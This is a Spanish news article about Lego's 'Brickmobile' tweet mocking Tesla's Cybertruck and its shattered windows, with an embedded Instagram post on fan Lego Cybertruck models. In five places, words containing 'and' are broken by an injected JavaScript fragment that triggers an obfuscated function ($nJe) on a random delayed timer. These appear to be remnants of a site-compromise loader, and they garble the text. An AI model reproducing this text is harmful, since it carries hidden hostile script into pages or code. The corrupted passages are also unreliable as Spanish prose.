Lego trolea el Cybertruck de Tesla con su nuevo ‘Brickmobile’

Lego hace su propia Cybertruck.

Autor: Steve Huff de Maxim US 27 noviembre, 2019

FOTO: Lego

El fundador de Tesla, Elon Musk y su Cybertruck EV.

La presentación del Cybertruck EV de Tesla y su fundador Elon Musk, es un regalo cómico que sigue dandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando de qué hablar. Los usuarios de redes sociales modificaron la camioneta eléctrica del multimillonario.

El ingenio de Lego, diseñó su propia camioneta, el Brickmobile.

The evolution of the truck is here. Guaranteed shatterproof 😬 pic.twitter.com/RocTEkzzwI

— LEGO (@LEGO_Group) November 27, 2019

La empresa de juguetes tuiteó una imagen mal iluminada de un clásico bloque de construcción de Lego sobre ruedas y dijo que es «a prueba de golpes».

Ese fue el punto: el comentario estaba dirigido directamente a la mayor vergüenza de Elon Musk por la revelación de Cybertruck cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando aseguró que la camioneta tenía «vidrios blindados». Luego hizo que uno de sus ingenieros probara las ventanas supuestamente resistentes a los golpes.

Su asistente arrojó dos grandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andes bolas de acero a las ventanas del lado del conductor y, bueno, definitivamente no eran inastillables. La expresión facial de Musk cuenta la historia.

Si bien Lego no llegó a hacer ningún demo que ilustrara la dureza del Brickmobile, muchas personas se apresuraron a notar que los pequeños bloques de Lego ciertamente se sienten lo suficientemente sólidos cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando los pisas en la oscuridad.

El experto en construcción de Lego, Peter Blackert, se tomó el desafío implícito un poco más en serio y se esforzó más, construyendo dos representaciones diferentes del Cybertruck real.

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Tesla CyberTruck – Media Launch 11-21-2019 .. Well, that was really something. Yesterday's Tesla Cybertruck launch was certainly eye opening. I, like many, was wondering when Elon Musk was going to say "Just kidding. It actually looks like this…."; .. But he didn't. .. The specification though, was very impressive. From the corrosion resistant stainless steel bodywork, high-strength windows (despite the unexpected failure when designer Franz von Holzhausen threw the ball at the side windows), and air suspensions which could raise and lower the truck. .. Tesla's raison d'être though, is vehicle electrification. Here Musk's vision of an emissions-free world including light-duty trucks led to the creation of the Cybertruck. .. To this end, the Cybertruck includes a large battery, providing a vehicle range between 250 miles and 500 miles, depending on the specification. One clear transformation in electric vehicles is startling performance, and the Cybertruck impresses with a 0-60 mph time of 2.9 sec in the highest spec tri-motor model. Even base model performance equals the quickest internal combustion pickup models from competitors. .. However, all this was somewhat overshadowed by what everybody watching the launch could see – a vehicle which looked unlike any pickup you had ever seen before, save for perhaps in a sci-fi film set in the future. It was obvious that even the crowd, many of whom were Tesla employees, were clearly shocked at what they saw. .. And perhaps this was the point. The Cybertruck is a compelling vision of what a pickup from the future could be. That future is coming sooner than many would believe, thanks to Tesla and the many projects the company has worked on to deliver in the past decade or so. .. Still, I was waiting for Elon to roll out the real truck. .. [P.S. I know it is very early in the piece to admit this, but the more I look at it the more it grows on me.] .. #tesla #cybertruck #pickup #truck #bev #electric #elonmusk #franzvonholzhausen #lego #legotesla #teslatruck #legocar #lego__911 #moc #model #miniland #auto #car #afol #instalego #povray #render #launch

A post shared by Peter Blackert (@lego__911) on Nov 23, 2019 at 2:11am PST

Ok, estos se parecen mucho más.

Musk no ha respondido a Lego, pero sí tuiteó un video de una prueba en la que Cybertruck sacó un Ford F-150 corriendo cuesta arriba, demostrandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando que podía llevar a cabo los tipos de trabajos pesados para los que fue diseñado.